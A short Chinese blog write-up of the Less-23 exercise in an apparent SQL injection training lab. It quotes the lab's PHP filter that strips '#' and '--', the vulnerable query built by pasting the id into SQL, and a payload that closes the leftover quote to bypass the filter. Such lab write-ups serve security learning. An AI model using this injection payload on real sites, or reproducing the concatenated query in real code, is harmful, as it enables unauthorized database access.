Ricky Hao

Less-23 Error Based No Comments

这一题它在输入的时候过滤了几个字符

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

所以,我们不能用#来注释掉剩下的查询语句。
那么该怎么办呢?
一个办法就是,让剩下的语句变得完整就行。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这是查询语句的代码。
我们只要构造如下的语句就行:

?id=1'and+'1'='1

这里我们是用字符型的1=1来刚好使得因为注入而多余的一个单引号闭合。

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据